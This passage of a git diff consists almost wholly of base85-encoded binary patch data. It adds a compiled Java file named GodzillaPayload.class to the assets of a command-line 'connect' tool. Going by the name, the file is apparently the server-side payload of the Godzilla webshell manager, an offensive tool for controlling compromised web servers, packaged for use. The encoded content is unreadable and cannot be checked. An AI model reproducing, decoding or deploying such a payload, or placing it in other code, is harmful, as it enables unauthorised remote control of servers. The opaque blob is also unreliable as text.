zEIrt5CY*4V9ys8T9$-M>@q}bN0xS9eQ_D?0juIz1vkYUgQ8>#;j2-^HV{vR4PyA)G z9+9}}B3Drl8KMDlHRVIUl*>9?Z>pzi83w~g=xVuEA&*VZ04h`r>VkO~CO!hwx~UwR zX(^B*sTzo4mUh7-jkf{?33Oj8{tYAxx*AB*BRq&Q_(WZw$n@vqg~i}>9PyvzoR@(e zac5+EiVgAN$FpZSh@OS+tc>qK_^NQtEap|3YNl3F^T20HMdc|RGrBr!sQCTQWCc~) zOr@EERTB<gpqSz#Qx#K}BXc@xC7tuuzU5esw<R(KvWe2<I?9ymsh`}yfBF!}-vs2J zjeBJ0fB>6mn>>$p$_o?$W@D@U=wyXrgGS-{3~LA%EywLQM!Nw5Omgag5Cj73D;o4u zCqPT1n-sG3J%R2D*>QQFoy5nC-cKC#o&qjr^xoJRy;J`W=yg;-FgxpqV>UkM2OxC| zka{tYdI^wvDUf;@ka{_c`Bq%wy8`OqN;p~D;9y-%*UM{@kUB1b)L{++mpJO#fO|e6 zfz%sSbj3)$E`ijmIwJM7I8vu4Ayx9<sc?`w9!TXB_haxyN3;l-%aJOdvnZP@GQ}t- z)0cxcYH}YF*-i`BjDo&Mw9s&;g|qvqEhWu3mx9MsmJNx>Qx^R(D&dcO=VLg36zC5u zq3=y+iqXj$glo0_@r`CeRIrb$FaKx-avhY%4U{c!q#5!iXxrPUR{j)!6m%z@FK-9` z-bs(jyA-MiW7D-bWB3gAiv7>W5{lt5eIqcDFVnp~2f8>~!D05d6v#<I<`;;o^j$q} zXHC26hg+f29K+or#`Ng1SB&k^qv4eO;>5~UF>YRej!KL|cNXr0KXoVd#%Z=YucttU zW&E{^wz%QpzwdXoE6^cqP2@eWJomywXr^g$7tNCQ;jZZYxc_+{1?2;3-;)8~96C<? zSNZIK)Y*3qSd6U>JT)YDzCx>{Y53W|*N71fnuR=KyI0<i53A>pM+fo36u1|OU%t~f z2>p|jhWJArPSS7}R%OXW+@QHC#W?3^n&vV|=iv?y9LR?O2w(Xdmbgfw4(D*GRmw+c zh}=iR;6RU%kE>1TQ^rvV5{?qzK^bv?G0HKe5~SwK9a^_@(i2nb%M3Y6Lexz+{E<P) zf4IYe`X&eJ0u6H^l7M{GM&0Pi0kGLQsKM2oT;$X86hA89AJHr0{#pDIjJnY!pMm@z pq+IzNEZg%*a2F)tE=a&#;J{5(0Ea6Mw@DJ$76GMTmIW%r{{!M~XpR5? literal 0 HcmV?d00001 diff --git a/tools/cli/src/connect/assets/GodzillaPayload.class b/tools/cli/src/connect/assets/GodzillaPayload.class new file mode 100644 index 0000000000000000000000000000000000000000..c9120be0596bc5101fc2f09232a56e7a3f053c39 GIT binary patch literal 34777 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 